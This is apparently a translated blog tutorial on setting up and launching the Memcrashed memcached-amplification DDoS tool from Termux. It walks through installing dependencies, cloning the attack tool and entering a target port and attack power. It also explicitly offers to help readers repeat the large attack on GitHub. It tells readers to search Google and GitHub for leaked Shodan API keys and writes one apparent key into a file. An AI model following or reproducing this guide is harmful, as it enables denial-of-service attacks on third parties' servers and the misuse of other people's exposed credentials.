Have you heard of the sensational attack on Github? Memcrashed servers were used to strengthen it. We will teach you how to work with this software!
Many of you may have heard about the sensational attack on Github. We used Memcrashed servers to amplify the attack, which resulted in a power of about 1.35Tb/sec. That’s not weak, is it?
Today, we will look at a tool that allows us to repeat such an attack. For this purpose, github has a special tool called Memcrashed.
Start, open Termux and enter: as always.
apt update -y apt upgrade -y
Set Python if you haven’t already done so:.
apt-get install python3 apt-get install python3-pip
Then we install two more necessary components:.
pip install scapy pip install shodan
Download program files from Github:.
git clone https://github.com/zadachnik/memcrashed-ddos.git.
Browse to the folder.
pip install -r requirements.txt
To launch the attack, we will need a special Key API. You can search it using Google or Github. We enter something like “api key” “api key shodan”, etc.
I’ll take the one on github as an example.
Create api.txt file with our key:
echo "PSKINdQe1GyxGgecYz2191H2JoS9qvgD" > api.txt
I repeat you can use your API Key
It’s more simple than that.
You will be asked if you have local bots (saved Shodan search) or search by api key on Shodan. Here we choose the second option.
It’s up to you to save the result for the next time.
Next you will be asked to enter:
Which port to attack on (you need an open port at the target)
Enter preferred power (Default 1)
Enter payload contained inside packet – write, for example, 2 or 100